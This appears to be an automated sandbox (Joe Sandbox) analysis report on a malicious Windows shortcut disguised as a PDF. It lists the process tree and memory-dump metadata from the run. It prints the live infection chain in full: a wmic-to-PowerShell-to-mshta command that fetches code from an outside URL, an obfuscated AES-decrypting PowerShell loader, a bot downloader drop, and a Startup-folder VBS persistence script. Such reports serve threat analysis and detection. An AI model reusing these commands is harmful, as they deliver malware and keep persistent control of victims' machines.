SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MglTBlJQAiveyzowv:Yw7gJGWMXJXKSOdYiygKkXe/egbleAin
MD5:	E8E5D6D0D2936B1BA66F8A8E7C6EC6B5
SHA1:	7E4BF87B0D3815676AE02C7FBA0D1482332AC1E9
SHA-256:	6834A532E0C06531268E58D2C385C1EBCAA01C9B1AD4188F57F102E4680AF2DC
SHA-512:	499BA1AC1C6B32BA0C53F7B98CC7311988B23997C5B249F4881A8C6786CA388C760385E7042B7425EB97219886A19E96B443572B148652627B322F84C250B866
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 7628;...ReturnValue = 0;..};....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	2.6180398785972723
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	HateSpeech2024_Summary.pdf.lnk.bin.lnk
File size:	1'894 bytes
MD5:	97d7ccb68cdc1beaee32700a58e8f901
SHA1:	c16d12acb3de008be42cd1d5527ee5ecd51d6354
SHA256:	9315c00b9914f987381604b289e426dab0e6c8eefd7ccb0656c2cde5503800c7
SHA512:	e21da7ad127352c9fc46991daeb5841fff7fab972b12eda9c6e912e9de231d7d28ecbadef635129682e5024257d1026c473088467cb993f4957aa29920a434c1
SSDEEP:	24:8AyH/BUlgKN4eH+/3/kWNdk6Zocxb5qdd79dsH/G4G:89uGeA/ldkUNEdJ9eh
TLSH:	E64171001AED0B20F3B38D725876B715D97F788DDE734E0C004185881872620E875F9F
File Content Preview:	L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	929e9e96a3f3d6ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Target ID:	0
Start time:	04:43:53
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')"
Imagebase:	0x7ff7f86e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:43:53
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:43:54
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:43:54
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:43:55
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:43:55
Start date:	05/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm
Imagebase:	0x7ff7a8c10000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:43:57
Start date:	05/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:43:59
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Length)); sal fd $PwiNROQ.Substring(3,3); fd $PwiNROQ.Substring(6)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:43:59
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:44:01
Start date:	05/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:44:02
Start date:	05/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:44:03
Start date:	05/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1720,i,17340846460468953801,1805849140092646528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	04:44:03
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe"
Imagebase:	0x7ff658e20000
File size:	273'408 bytes
MD5 hash:	F63E0C410E4CA83CDA47BA4871AEAC30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:44:28
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Imagebase:	0x7ff750320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:44:28
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:44:28
Start date:	05/01/2025
Path:	C:\Windows\System32\tar.exe
Wow64 process (32bit):	false
Commandline:	tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Imagebase:	0x7ff7aa4d0000
File size:	54'784 bytes
MD5 hash:	3596DC15B6F6CBBB6EC8B143CBD57F24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:44:32
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Imagebase:	0x7ff750320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	04:44:32
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	04:44:32
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Imagebase:	0x7ff7498c0000
File size:	142'336 bytes
MD5 hash:	FA544CF95C1B82AFC25B9C5C55C5AD73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	04:44:49
Start date:	05/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs"
Imagebase:	0x7ff6a85a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:44:49
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Imagebase:	0x7ff750320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:44:49
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	04:44:49
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Imagebase:	0x7ff7498c0000
File size:	142'336 bytes
MD5 hash:	FA544CF95C1B82AFC25B9C5C55C5AD73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD9B8933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1656069939.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 790f53b18bf535405e1566ca4fc67868e3ace26fd97990e01e1bad52e7daa871
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 7401A73020CB0C4FDB48EF0CE451AA6B7E0FB89320F10056DE58AC36A1DA32E882CB41

Non-executed Functions

Function 00007FFD9B8920FA Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1656069939.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327d81b09ba21dfccb90c17db93b58cf8aaa192511d573d90f2644e54e7cb94a
Instruction ID: 9c0fea20272bb3caa4426918eac23f3e9b5bf7a5f8508f50c84add899b6fdb5d
Opcode Fuzzy Hash: 327d81b09ba21dfccb90c17db93b58cf8aaa192511d573d90f2644e54e7cb94a
Instruction Fuzzy Hash: 77A1A667B0E7E24FEB265BEC58B50D6BFA0EF5726570E00F7C1C5860A3E91929078361

Analysis Process: mshta.exePID: 7872, Parent PID: 7788COMMON

Executed Functions

Function 000001EB15B20FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.1839209835.000001EB15B20000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001EB15B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1eb15b20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: ab3c8269b8efbb166bca1a8325e3097546d1a1957a860947686773ff3ad6dcb9
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 4A9002144DE88E55D41416915C9529E50416388260FD84480481690544D54D13971262

Function 000001EB15B20FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.1839209835.000001EB15B20000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001EB15B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1eb15b20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: ab3c8269b8efbb166bca1a8325e3097546d1a1957a860947686773ff3ad6dcb9
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 4A9002144DE88E55D41416915C9529E50416388260FD84480481690544D54D13971262

Function 000001EB15B20FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.1839209835.000001EB15B20000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001EB15B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1eb15b20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: ab3c8269b8efbb166bca1a8325e3097546d1a1957a860947686773ff3ad6dcb9
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 4A9002144DE88E55D41416915C9529E50416388260FD84480481690544D54D13971262

Function 000001EB15B20FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.1839209835.000001EB15B20000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001EB15B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1eb15b20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: ab3c8269b8efbb166bca1a8325e3097546d1a1957a860947686773ff3ad6dcb9
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 4A9002144DE88E55D41416915C9529E50416388260FD84480481690544D54D13971262

Analysis Process: powershell.exePID: 8032, Parent PID: 7872COMMON

Executed Functions

Function 00007FFD9B06464B Relevance: .6, Instructions: 581COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835711774.00007FFD9B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2d25b9b9005b5f175afcc048f3172e1f3f8c42da9bf95366651fa4111d2c04
Instruction ID: c2574e46b272ec4fb1c0f3c4990599a315b25c29590fb833613d8281a0114a9e
Opcode Fuzzy Hash: 9e2d25b9b9005b5f175afcc048f3172e1f3f8c42da9bf95366651fa4111d2c04
Instruction Fuzzy Hash: C0F12762B0FACA4FE7AA966818765B97BD1EF57210B1A02FFD09DC70E3DD086D058341

Function 00007FFD9AF93DF2 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835251364.00007FFD9AF90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AF90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9af90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6dbd5a307579c768b3507b4b8e75d16941c12b3fefabed119a7e64986ddacf
Instruction ID: a672845da1487320fc7df92b8177206239b7052f1e15f120f4bbeb10bfecae00
Opcode Fuzzy Hash: fc6dbd5a307579c768b3507b4b8e75d16941c12b3fefabed119a7e64986ddacf
Instruction Fuzzy Hash: EAD17331A189498FDF98DF5CC495AE9B7E1FFA8304F1442AAE40DD7295DB34E885CB80

Function 00007FFD9B0638CC Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835711774.00007FFD9B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44fdbb0b1e819d7d08ac0294f9571d5f5ab44b58f256f0849647a6f5458b950f
Instruction ID: a5033588f4ded1d9bfd5c4604796b61ddc23bb8050a0095e290366172acd868a
Opcode Fuzzy Hash: 44fdbb0b1e819d7d08ac0294f9571d5f5ab44b58f256f0849647a6f5458b950f
Instruction Fuzzy Hash: 86511353B0FBCE5FE3A5966C18621647BD1EF56250B0A02FBD08DC71E7EC096C459391

Function 00007FFD9B06472A Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835711774.00007FFD9B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27485c094e5d0c12b537507d00e5998160a7410271aa1a9ad779de62b62663c9
Instruction ID: 4709656bbd6a5444b7ca62f118832a5fb918fb48bda70fb818a000a1d82eca69
Opcode Fuzzy Hash: 27485c094e5d0c12b537507d00e5998160a7410271aa1a9ad779de62b62663c9
Instruction Fuzzy Hash: 55410563F0FACB4FF7B996A8047627C66C2EF93650B5A42BED45DC70E2DE0CA9055201

Function 00007FFD9AF943C5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835251364.00007FFD9AF90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AF90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9af90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f79863b2bbfff3587ba3e0f451e06bf8a109e7aa98808b4dde43dabe4b5a22e
Instruction ID: e74d50138855a209652c384c1a772f3120e048e61d80d25dae7062d5f7516109
Opcode Fuzzy Hash: 6f79863b2bbfff3587ba3e0f451e06bf8a109e7aa98808b4dde43dabe4b5a22e
Instruction Fuzzy Hash: 3B01A73121CB0C4FD748EF4CE051AA5B3E0FB99324F10056DE58AC3691D632E892CB41

Function 00007FFD9B060758 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1835711774.00007FFD9B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b737486fc3d5f544e7f9eae1d9bf96ac32f6f5b4f2c117da179f5636a0c16e
Instruction ID: b7b15230e9a1b07de57c42d913e0ad1685babdb27ab87ca8a74221b5d0e4a1df
Opcode Fuzzy Hash: 68b737486fc3d5f544e7f9eae1d9bf96ac32f6f5b4f2c117da179f5636a0c16e
Instruction Fuzzy Hash: 68E06823F0E81D2EE7B4E6DC386D1F862C0DF0566170942B7E80CC309AED00AC200380

Analysis Process: php_bot_downloader_v2-AVERAGE-BOI-CLN.exePID: 7828, Parent PID: 8032COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	1526
Total number of Limit Nodes:	41

Executed Functions

Function 00007FF658E22270 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF658E222B3
InternetOpenUrlA.WININET ref: 00007FF658E222EE
InternetCloseHandle.WININET ref: 00007FF658E223B2

Part of subcall function 00007FF658E236B0: Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00007FF658E236F4

InternetReadFile.WININET ref: 00007FF658E22361
InternetCloseHandle.WININET ref: 00007FF658E2239C

Strings

Downloader, xrefs: 00007FF658E222AC

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
